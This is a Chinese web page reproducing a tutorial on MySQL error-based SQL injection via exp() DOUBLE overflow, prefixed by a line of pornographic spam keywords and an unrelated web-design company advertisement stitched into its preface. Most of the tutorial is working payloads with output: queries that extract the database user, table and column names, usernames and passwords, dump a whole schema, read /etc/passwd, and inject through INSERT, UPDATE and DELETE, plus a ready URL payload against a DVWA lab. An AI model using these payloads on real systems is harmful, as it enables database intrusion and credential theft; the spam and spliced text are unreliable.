日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
使用exp進(jìn)行SQL報(bào)錯(cuò)注入

0x01 前言概述

公司主營業(yè)務(wù):網(wǎng)站設(shè)計(jì)制作、成都做網(wǎng)站、移動(dòng)網(wǎng)站開發(fā)等業(yè)務(wù)。幫助企業(yè)客戶真正實(shí)現(xiàn)互聯(lián)網(wǎng)宣傳,提高企業(yè)的競爭能力。成都創(chuàng)新互聯(lián)公司是一支青春激揚(yáng)、勤奮敬業(yè)、活力青春激揚(yáng)、勤奮敬業(yè)、活力澎湃、和諧高效的團(tuán)隊(duì)。公司秉承以“開放、自由、嚴(yán)謹(jǐn)、自律”為核心的企業(yè)文化,感謝他們對(duì)我們的高要求,感謝他們從不同領(lǐng)域給我們帶來的挑戰(zhàn),讓我們激情的團(tuán)隊(duì)有機(jī)會(huì)用頭腦與智慧不斷的給客戶帶來驚喜。成都創(chuàng)新互聯(lián)公司推出崇禮免費(fèi)做網(wǎng)站回饋大家。

好消息好消息~作者又在MySQL中發(fā)現(xiàn)了一個(gè)Double型數(shù)據(jù)溢出。如果你想了解利用溢出來注出數(shù)據(jù),你可以讀一下作者之前發(fā)的博文:BIGINT Overflow Error based injections,drops上面也有對(duì)應(yīng)翻譯,具體見這里。當(dāng)我們拿到MySQL里的函數(shù)時(shí),作者比較感興趣的是其中的數(shù)學(xué)函數(shù),它們也應(yīng)該包含一些數(shù)據(jù)類型來保存數(shù)值。所以作者就跑去測試看哪些函數(shù)會(huì)出現(xiàn)溢出錯(cuò)誤。然后作者發(fā)現(xiàn),當(dāng)傳遞一個(gè)大于709的值時(shí),函數(shù)exp()就會(huì)引起一個(gè)溢出錯(cuò)誤。

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

在MySQL中,exp與ln和log的功能相反,簡單介紹下,就是log和ln都返回以e為底數(shù)的對(duì)數(shù),見等式:

mysql> select log(15);
+------------------+
| log(15)          |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)


mysql> select ln(15);
+------------------+
| ln(15)           |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)

指數(shù)函數(shù)為對(duì)數(shù)函數(shù)的反函數(shù),exp()即為以e為底的對(duì)數(shù)函數(shù),如等式:

mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
|                    15 |
+-----------------------+
1 row in set (0.00 sec)

0x02 注入

當(dāng)涉及到注入時(shí),我們使用否定查詢來造成“DOUBLE value is out of range”的錯(cuò)誤。作者之前的博文提到的,將0按位取反就會(huì)返回“18446744073709551615”,再加上函數(shù)成功執(zhí)行后返回0的緣故,我們將成功執(zhí)行的函數(shù)取反就會(huì)得到***的無符號(hào)BIGINT值。

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)


mysql> select ~(select version());
+----------------------+
| ~(select version())  |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

我們通過子查詢與按位求反,造成一個(gè)DOUBLE overflow error,并借由此注出數(shù)據(jù)。

 
 
 
 
  1. >`exp(~(select*from(select user())x))`  
  2.  
  3.     mysql> select exp(~(select*from(select user())x));  
  4.     ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

0x03 注出數(shù)據(jù)

得到表名:

 
 
 
 
  1. select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)); 

得到列名:

 
 
 
 
  1. select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)); 

檢索數(shù)據(jù):

 
 
 
 
  1. select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)); 

0x04 一蹴而就

這個(gè)查詢可以從當(dāng)前的上下文中dump出所有的tables與columns。我們也可以dump出所有的數(shù)據(jù)庫,但由于我們是通過一個(gè)錯(cuò)誤進(jìn)行提取,它會(huì)返回很少的結(jié)果。

 
 
 
 
  1. exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))  
  2.  
  3. http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit# 

0x05 讀取文件

你可以通過load_file()函數(shù)來讀取文件,但作者發(fā)現(xiàn)有13行的限制,該語句也可以在BIGINT overflow injections中使用。

 
 
 
 
  1. select exp(~(select*from(select load_file('/etc/passwd'))a));  
  2.  

注意,你無法寫文件,因?yàn)檫@個(gè)錯(cuò)入寫入的只是0。

 
 
 
 
  1. mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'      
  3.  
  4. # type C:\out.txt  

0x06 Injection in Insert

按部就班就好

 
 
 
 
  1. mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

對(duì)于所有的insert,update和delete語句DIOS查詢也同樣可以使用。

 
 
 
 
  1. mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000  
  3. newdb::users::id  
  4. newdb::users::username  
  5. newdb::users::password' from dual)))' 

0x07 Injection in Update

 
 
 
 
  1. mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

0x08 Injection in Delete

 
 
 
 
  1. mysql> delete from users where id='1' | exp(~(select*from(select user())x));  
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

和前面的BIGINT注入一樣,exp注入也適用于MySQL5.5.5及以上版本。以前的版本對(duì)于此情況則是“一言不發(fā)”。

 
 
 
 
  1. mysql> select version();  
  2. +---------------------+  
  3. | version()           |  
  4. +---------------------+  
  5. | 5.0.45-community-nt |  
  6. +---------------------+  
  7. 1 row in set (0.00 sec)   
  8.  
  9.  
  10. mysql> select exp(710);  
  11. +----------+  
  12. | exp(710) |  
  13. +----------+  
  14. |   1.#INF |  
  15. +----------+  
  16. 1 row in set (0.00 sec)   
  17.  
  18.  
  19. mysql> select exp(~0);  
  20. +---------+  
  21. | exp(~0) |  
  22. +---------+  
  23. |  1.#INF |  
  24. +---------+  
  25. 1 row in set (0.00 sec) 

可能還有其他的函數(shù)會(huì)產(chǎn)生這種報(bào)錯(cuò)呦。(有待你發(fā)現(xiàn)啦:)


新聞名稱:使用exp進(jìn)行SQL報(bào)錯(cuò)注入
文章起源:http://m.5511xx.com/article/cojipgs.html